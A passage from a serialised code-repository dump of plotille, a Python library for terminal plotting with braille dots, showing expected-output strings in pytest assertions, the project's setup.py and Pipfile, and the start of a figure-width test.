⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.57750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.49500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.41250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.33000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.24750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.16500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.08250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.00000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\n | 0.80000 1.10000 1.40000 1.70000 2.00000 2.30000 2.60000 2.90000 3.20000 '''\n\n res = fig.show() # no legend, no origin\n assert expected == res\n\n assert fig.show(legend=True) == expected + '\\n\\nLegend:\\n-------\\n' # no label for histograms\n\n fig.clear()\n fig.plot([-0.1, 0.2], [-0.2, 0.3])\n\n expected = ''' (Y) ^\n 0.35000 |\n 0.33500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.32000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.30500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.29000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀\n 0.27500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀\n 0.26000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.24500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.23000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.21500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.20000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.18500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.17000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.15500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.14000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.12500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.11000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.09500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.08000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.06500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.05000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.03500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.02000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.00500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.01000 | ⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡏⠉⠉⡩⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉\n -0.02500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.04000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.05500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.07000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.08500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.10000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.11500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.13000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.14500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.16000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.17500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.19000 | ⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.20500 | ⠀⠀⠀⠀⠀⠀⠠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.22000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.23500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.25000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\n | -0.13000 -0.08500 -0.04000 0.00500 0.05000 0.09500 0.14000 0.18500 0.23000 '''\n assert expected == fig.show() # no legend, origin\n\n assert fig.show(legend=True) == expected + '\\n\\nLegend:\\n-------\\n⠤⠤ Label 0' # no label for histograms\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6216041445732117,\n \"alphanum_fraction\": 0.6287192702293396,\n \"avg_line_length\": 33.35555648803711,\n \"blob_id\": \"36012433ed4f22810782512a369773f5d388d8a9\",\n \"content_id\": \"f7bbd08eb290acd638b122f92bf6226ef54e325b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1546,\n \"license_type\": \"permissive\",\n \"max_line_length\": 93,\n \"num_lines\": 45,\n \"path\": \"/setup.py\",\n \"repo_name\": \"efabens/plotille\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom __future__ import absolute_import, division, print_function\\n\\nfrom setuptools import find_packages, setup\\n\\ntry:\\n long_description = open('README.rst').read()\\nexcept IOError:\\n long_description = open('README.md').read()\\n\\nversion = '3.1'\\n\\nsetup(\\n name='plotille',\\n version=version,\\n packages=find_packages(),\\n install_requires=[\\n 'six',\\n ],\\n author='Tammo Ippen',\\n author_email='tammo.ippen@posteo.de',\\n description='Plot in the terminal using braille dots.',\\n long_description=long_description,\\n license='MIT',\\n url='https://github.com/tammoippen/plotille',\\n download_url='https://github.com/tammoippen/plotille/archive/v{}.tar.gz'.format(version),\\n keywords=['plot', 'scatter', 'histogram', 'terminal', 'braille', 'unicode'],\\n include_package_data=True,\\n classifiers=[\\n # Trove classifiers\\n # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers\\n 'Environment :: Console',\\n 'License :: OSI Approved :: MIT License',\\n 'Intended Audience :: Science/Research',\\n 'Programming Language :: Python',\\n 'Programming Language :: Python :: 2.7',\\n 'Programming Language :: Python :: 3',\\n 'Programming Language :: Python :: 3.5',\\n 'Programming Language :: Python :: 3.6',\\n 'Programming Language :: Python :: Implementation :: CPython',\\n 'Programming Language :: Python :: Implementation :: PyPy',\\n 'Topic :: Scientific/Engineering :: Visualization',\\n 'Topic :: Terminals'\\n ]\\n)\\n\"\n },\n {\n \"alpha_fraction\": 0.550561785697937,\n \"alphanum_fraction\": 0.5730336904525757,\n \"avg_line_length\": 13.239999771118164,\n \"blob_id\": \"e0bb74dab89b8d09ade4b30a140a8d1f0daa006f\",\n \"content_id\": \"8e3e3ae01e2526caeb9849fe9ff147535cc50341\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"TOML\",\n \"length_bytes\": 356,\n \"license_type\": \"permissive\",\n \"max_line_length\": 41,\n \"num_lines\": 25,\n \"path\": \"/Pipfile\",\n \"repo_name\": \"efabens/plotille\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"[[source]]\\n\\nurl = \\\"https://pypi.python.org/simple\\\"\\nverify_ssl = true\\nname = \\\"pypi\\\"\\n\\n\\n[packages]\\n\\n\\\"e1839a8\\\" = {path = \\\".\\\", editable = true}\\n\\n\\n[dev-packages]\\n\\n\\\"flake8-import-order\\\" = \\\"*\\\"\\nnumpy = \\\"*\\\"\\n\\\"pep8-naming\\\" = \\\"*\\\"\\npytest = \\\"*\\\"\\npytest-cov = \\\"*\\\"\\n\\\"pytest-flake8\\\" = \\\"*\\\"\\npytest-mccabe = \\\"*\\\"\\npython-coveralls = \\\"*\\\"\\npytest-mock = \\\"*\\\"\\nmock = \\\"*\\\"\\nfuncsigs = \\\"*\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.2725982666015625,\n \"alphanum_fraction\": 0.33146172761917114,\n \"avg_line_length\": 37.95913314819336,\n \"blob_id\": \"bf04e0edc11a27d64bcd87a05d9bc9d7435e0e0a\",\n \"content_id\": \"507309bd0fbdffcd077728f5dcad1fe3a81e1f75\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 29011,\n \"license_type\": \"permissive\",\n \"max_line_length\": 114,\n \"num_lines\": 416,\n \"path\": \"/tests/test_figure.py\",\n \"repo_name\": \"efabens/plotille\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom __future__ import absolute_import, division, print_function, unicode_literals\\n\\nfrom mock import call\\nfrom plotille import Figure\\nfrom plotille._figure import Histogram, Plot\\nimport pytest\\n\\n\\ndef test_width():\\n fig = Figure()\\n\\n assert fig.width > 0\\n\\n fig.width = 40\\n assert fig.width == 40\\n\\n with pytest.raises(ValueError):\\n fig.width = 0\\n\\n with pytest.raises(ValueError):\\n fig.width = -10\\n\\n with pytest.raises(ValueError):\\n fig.width = \\\"40\\\"\\n\\n res = fig.show().split('\\\\n')\\n 